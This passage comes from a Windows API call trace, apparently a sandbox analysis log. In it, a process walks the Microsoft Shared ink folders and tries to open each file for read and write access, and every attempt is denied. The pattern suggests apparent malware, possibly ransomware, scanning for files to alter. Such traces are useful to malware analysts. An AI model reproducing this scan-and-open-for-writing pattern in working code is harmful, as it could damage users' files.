shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.510] GetLastError () returned 0x5 [0142.510] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0142.510] GetProcessHeap () returned 0x2a0000 [0142.510] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa2) returned 0x2c7fc8 [0142.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.510] GetProcessHeap () returned 0x2a0000 [0142.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.510] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.510] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0142.510] GetProcessHeap () returned 0x2a0000 [0142.510] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a4) returned 0x2f7730 [0142.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.511] GetLastError () returned 0x5 [0142.511] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0142.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.512] GetLastError () returned 0x5 [0142.512] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0142.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.512] GetLastError () returned 0x5 [0142.512] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0142.512] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.512] GetProcessHeap () returned 0x2a0000 [0142.512] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.513] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0142.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.513] GetLastError () returned 0x5 [0142.514] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0142.514] GetProcessHeap () returned 0x2a0000 [0142.514] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9a) returned 0x2c7fc8 [0142.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.515] GetProcessHeap () returned 0x2a0000 [0142.515] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.515] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.515] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0142.515] GetProcessHeap () returned 0x2a0000 [0142.515] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x29c) returned 0x2f7730 [0142.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.516] GetLastError () returned 0x5 [0142.516] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0142.516] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.516] GetProcessHeap () returned 0x2a0000 [0142.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.516] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0142.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.516] GetLastError () returned 0x5 [0142.516] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0142.516] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.517] GetProcessHeap () returned 0x2a0000 [0142.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.517] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-IL", cAlternateFileName="")) returned 1 [0142.517] GetProcessHeap () returned 0x2a0000 [0142.517] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.517] GetProcessHeap () returned 0x2a0000 [0142.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.517] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.517] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.517] GetProcessHeap () returned 0x2a0000 [0142.517] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.518] GetLastError () returned 0x5 [0142.518] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.518] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.518] GetProcessHeap () returned 0x2a0000 [0142.518] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.518] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0142.518] GetProcessHeap () returned 0x2a0000 [0142.518] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.518] GetProcessHeap () returned 0x2a0000 [0142.518] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.518] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.518] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.518] GetProcessHeap () returned 0x2a0000 [0142.519] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.519] GetLastError () returned 0x5 [0142.519] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.519] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.519] GetProcessHeap () returned 0x2a0000 [0142.519] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.519] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0142.519] GetProcessHeap () returned 0x2a0000 [0142.519] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.519] GetProcessHeap () returned 0x2a0000 [0142.520] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.520] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.520] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.520] GetProcessHeap () returned 0x2a0000 [0142.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.521] GetLastError () returned 0x5 [0142.521] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.521] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.521] GetProcessHeap () returned 0x2a0000 [0142.521] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.521] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0142.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.521] GetLastError () returned 0x5 [0142.521] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0142.521] GetProcessHeap () returned 0x2a0000 [0142.521] RtlAllocateHeap 